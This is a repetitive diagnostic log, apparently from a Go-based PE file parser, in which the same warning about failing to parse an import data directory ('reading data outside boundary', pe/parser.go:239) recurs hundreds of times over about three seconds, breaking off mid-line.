+time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T15:01:04+01:00 